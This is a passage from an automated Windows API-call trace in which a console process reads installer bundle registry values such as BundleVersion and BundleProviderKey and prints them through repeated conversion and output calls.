out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.882] GetConsoleOutputCP () returned 0x1b5 [0150.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.882] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.882] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.882] __iob_func () returned 0x7fefd702a80 [0150.882] _fileno (_File=0x7fefd702ab0) returned 1 [0150.882] _errno () returned 0x204bb0 [0150.882] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.882] _errno () returned 0x204bb0 [0150.882] GetFileType (hFile=0x50) returned 0x1 [0150.882] lstrlenW (lpString="\n") returned 1 [0150.882] GetConsoleOutputCP () returned 0x1b5 [0150.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.882] GetConsoleOutputCP () returned 0x1b5 [0150.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.882] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.882] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.882] GetProcessHeap () returned 0x3c0000 [0150.883] GetProcessHeap () returned 0x3c0000 [0150.883] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.883] GetProcessHeap () returned 0x3c0000 [0150.883] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.883] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.883] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundlePatchCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.883] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.883] GetProcessHeap () returned 0x3c0000 [0150.883] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.883] GetProcessHeap () returned 0x3c0000 [0150.883] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.883] GetProcessHeap () returned 0x3c0000 [0150.883] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.883] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0150.883] __iob_func () returned 0x7fefd702a80 [0150.883] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.883] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.883] _fileno (_File=0x7fefd702ab0) returned 1 [0150.883] _errno () returned 0x204bb0 [0150.883] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.883] _errno () returned 0x204bb0 [0150.883] GetFileType (hFile=0x50) returned 0x1 [0150.883] lstrlenW (lpString=" ") returned 4 [0150.883] GetConsoleOutputCP () returned 0x1b5 [0150.883] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.883] GetConsoleOutputCP () returned 0x1b5 [0150.883] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.883] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.883] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.884] lstrlenW (lpString="BundlePatchCode") returned 15 [0150.884] __iob_func () returned 0x7fefd702a80 [0150.884] _fileno (_File=0x7fefd702ab0) returned 1 [0150.884] _errno () returned 0x204bb0 [0150.884] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.884] _errno () returned 0x204bb0 [0150.884] GetFileType (hFile=0x50) returned 0x1 [0150.884] lstrlenW (lpString="BundlePatchCode") returned 15 [0150.884] GetConsoleOutputCP () returned 0x1b5 [0150.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.884] GetConsoleOutputCP () returned 0x1b5 [0150.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundlePatchCode", lpUsedDefaultChar=0x0) returned 15 [0150.884] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.884] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.884] __iob_func () returned 0x7fefd702a80 [0150.884] _fileno (_File=0x7fefd702ab0) returned 1 [0150.884] _errno () returned 0x204bb0 [0150.884] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.884] _errno () returned 0x204bb0 [0150.884] GetFileType (hFile=0x50) returned 0x1 [0150.884] lstrlenW (lpString=" ") returned 4 [0150.884] GetConsoleOutputCP () returned 0x1b5 [0150.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.884] GetConsoleOutputCP () returned 0x1b5 [0150.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.885] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.885] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.885] __iob_func () returned 0x7fefd702a80 [0150.885] _fileno (_File=0x7fefd702ab0) returned 1 [0150.885] _errno () returned 0x204bb0 [0150.885] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.885] _errno () returned 0x204bb0 [0150.885] GetFileType (hFile=0x50) returned 0x1 [0150.885] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.885] GetConsoleOutputCP () returned 0x1b5 [0150.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.885] GetConsoleOutputCP () returned 0x1b5 [0150.885] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.885] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.885] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.885] __iob_func () returned 0x7fefd702a80 [0150.885] _fileno (_File=0x7fefd702ab0) returned 1 [0150.885] _errno () returned 0x204bb0 [0150.885] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.885] _errno () returned 0x204bb0 [0150.885] GetFileType (hFile=0x50) returned 0x1 [0150.885] lstrlenW (lpString=" ") returned 4 [0150.885] GetConsoleOutputCP () returned 0x1b5 [0150.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.886] GetConsoleOutputCP () returned 0x1b5 [0150.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.886] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.886] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.886] __iob_func () returned 0x7fefd702a80 [0150.886] _fileno (_File=0x7fefd702ab0) returned 1 [0150.886] _errno () returned 0x204bb0 [0150.886] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.886] _errno () returned 0x204bb0 [0150.886] GetFileType (hFile=0x50) returned 0x1 [0150.886] lstrlenW (lpString="\n") returned 1 [0150.886] GetConsoleOutputCP () returned 0x1b5 [0150.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.886] GetConsoleOutputCP () returned 0x1b5 [0150.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.886] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.886] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.886] GetProcessHeap () returned 0x3c0000 [0150.886] GetProcessHeap () returned 0x3c0000 [0150.886] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.887] GetProcessHeap () returned 0x3c0000 [0150.887] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.887] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.887] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.887] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1c) returned 0x0 [0150.887] GetProcessHeap () returned 0x3c0000 [0150.887] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1e) returned 0x3d5c30 [0150.887] GetProcessHeap () returned 0x3c0000 [0150.887] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.887] GetProcessHeap () returned 0x3c0000 [0150.887] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0150.887] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1c | out: pdwType=0x29f700*=0x1, pvData="12.0.30501.0", pcbData=0x29f780*=0x1a) returned 0x0 [0150.887] __iob_func () returned 0x7fefd702a80 [0150.887] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.887] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.887] _fileno (_File=0x7fefd702ab0) returned 1 [0150.887] _errno () returned 0x204bb0 [0150.887] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.887] _errno () returned 0x204bb0 [0150.887] GetFileType (hFile=0x50) returned 0x1 [0150.887] lstrlenW (lpString=" ") returned 4 [0150.887] GetConsoleOutputCP () returned 0x1b5 [0150.887] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.887] GetConsoleOutputCP () returned 0x1b5 [0150.887] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.887] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.887] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.888] lstrlenW (lpString="BundleVersion") returned 13 [0150.888] __iob_func () returned 0x7fefd702a80 [0150.888] _fileno (_File=0x7fefd702ab0) returned 1 [0150.888] _errno () returned 0x204bb0 [0150.888] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.888] _errno () returned 0x204bb0 [0150.888] GetFileType (hFile=0x50) returned 0x1 [0150.888] lstrlenW (lpString="BundleVersion") returned 13 [0150.888] GetConsoleOutputCP () returned 0x1b5 [0150.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.888] GetConsoleOutputCP () returned 0x1b5 [0150.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleVersion", lpUsedDefaultChar=0x0) returned 13 [0150.888] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.888] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.888] __iob_func () returned 0x7fefd702a80 [0150.888] _fileno (_File=0x7fefd702ab0) returned 1 [0150.888] _errno () returned 0x204bb0 [0150.888] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.888] _errno () returned 0x204bb0 [0150.888] GetFileType (hFile=0x50) returned 0x1 [0150.888] lstrlenW (lpString=" ") returned 4 [0150.888] GetConsoleOutputCP () returned 0x1b5 [0150.888] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.888] GetConsoleOutputCP () returned 0x1b5 [0150.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.889] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.889] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.889] __iob_func () returned 0x7fefd702a80 [0150.889] _fileno (_File=0x7fefd702ab0) returned 1 [0150.889] _errno () returned 0x204bb0 [0150.889] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.889] _errno () returned 0x204bb0 [0150.889] GetFileType (hFile=0x50) returned 0x1 [0150.889] lstrlenW (lpString="REG_SZ") returned 6 [0150.889] GetConsoleOutputCP () returned 0x1b5 [0150.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.889] GetConsoleOutputCP () returned 0x1b5 [0150.889] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.889] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.889] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.889] __iob_func () returned 0x7fefd702a80 [0150.889] _fileno (_File=0x7fefd702ab0) returned 1 [0150.889] _errno () returned 0x204bb0 [0150.889] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.889] _errno () returned 0x204bb0 [0150.889] GetFileType (hFile=0x50) returned 0x1 [0150.889] lstrlenW (lpString=" ") returned 4 [0150.889] GetConsoleOutputCP () returned 0x1b5 [0150.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.890] GetConsoleOutputCP () returned 0x1b5 [0150.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.890] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.890] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.890] __iob_func () returned 0x7fefd702a80 [0150.890] _fileno (_File=0x7fefd702ab0) returned 1 [0150.890] _errno () returned 0x204bb0 [0150.890] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.890] _errno () returned 0x204bb0 [0150.890] GetFileType (hFile=0x50) returned 0x1 [0150.890] lstrlenW (lpString="12.0.30501.0") returned 12 [0150.890] GetConsoleOutputCP () returned 0x1b5 [0150.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.30501.0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.890] GetConsoleOutputCP () returned 0x1b5 [0150.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.30501.0", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.0.30501.0", lpUsedDefaultChar=0x0) returned 12 [0150.890] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.890] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.890] __iob_func () returned 0x7fefd702a80 [0150.890] _fileno (_File=0x7fefd702ab0) returned 1 [0150.891] _errno () returned 0x204bb0 [0150.891] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.891] _errno () returned 0x204bb0 [0150.891] GetFileType (hFile=0x50) returned 0x1 [0150.891] lstrlenW (lpString="\n") returned 1 [0150.891] GetConsoleOutputCP () returned 0x1b5 [0150.891] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.891] GetConsoleOutputCP () returned 0x1b5 [0150.891] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.891] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.891] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.891] GetProcessHeap () returned 0x3c0000 [0150.891] GetProcessHeap () returned 0x3c0000 [0150.891] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.891] GetProcessHeap () returned 0x3c0000 [0150.891] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0150.891] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.892] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleProviderKey", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.892] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x50) returned 0x0 [0150.892] GetProcessHeap () returned 0x3c0000 [0150.892] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x52) returned 0x3db830 [0150.892] GetProcessHeap () returned 0x3c0000 [0150.892] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.892] GetProcessHeap () returned 0x3c0000 [0150.892] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0150.892] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x50 | out: pdwType=0x29f700*=0x1, pvData="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", pcbData=0x29f780*=0x4e) returned 0x0 [0150.892] __iob_func () returned 0x7fefd702a80 [0150.892] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.892] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.892] _fileno (_File=0x7fefd702ab0) returned 1 [0150.892] _errno () returned 0x204bb0 [0150.892] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.892] _errno () returned 0x204bb0 [0150.892] GetFileType (hFile=0x50) returned 0x1 [0150.892] lstrlenW (lpString=" ") returned 4 [0150.892] GetConsoleOutputCP () returned 0x1b5 [0150.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.892] GetConsoleOutputCP () returned 0x1b5 [0150.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.893] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.893] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.893] lstrlenW (lpString="BundleProviderKey") returned 17 [0150.893] __iob_func () returned 0x7fefd702a80 [0150.893] _fileno (_File=0x7fefd702ab0) returned 1 [0150.893] _errno () returned 0x204bb0 [0150.893] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.893] _errno () returned 0x204bb0 [0150.893] GetFileType (hFile=0x50) returned 0x1 [0150.893] lstrlenW (lpString="BundleProviderKey") returned 17 [0150.893] GetConsoleOutputCP () returned 0x1b5 [0150.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0150.893] GetConsoleOutputCP () returned 0x1b5 [0150.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleProviderKey", lpUsedDefaultChar=0x0) returned 17 [0150.893] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0150.893] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.893] __iob_func () returned 0x7fefd702a80 [0150.893] _fileno (_File=0x7fefd702ab0) returned 1 [0150.893] _errno () returned 0x204bb0 [0150.893] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.893] _errno () returned 0x204bb0 [0150.893] GetFileType (hFile=0x50) returned 0x1 [0150.893] lstrlenW (lpString=" ") returned 4 [0150.894] GetConsoleOutputCP () returned 0x1b5 [0150.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.894] GetConsoleOutputCP () returned 0x1b5 [0150.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.894] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.894] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.894] __iob_func () returned 0x7fefd702a80 [0150.894] _fileno (_File=0x7fefd702ab0) returned 1 [0150.894] _errno () returned 0x204bb0 [0150.894] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.894] _errno () returned 0x204bb0 [0150.894] GetFileType (hFile=0x50) returned 0x1 [0150.894] lstrlenW (lpString="REG_SZ") returned 6 [0150.894] GetConsoleOutputCP () returned 0x1b5 [0150.894] WideCharToMultiByte (in: 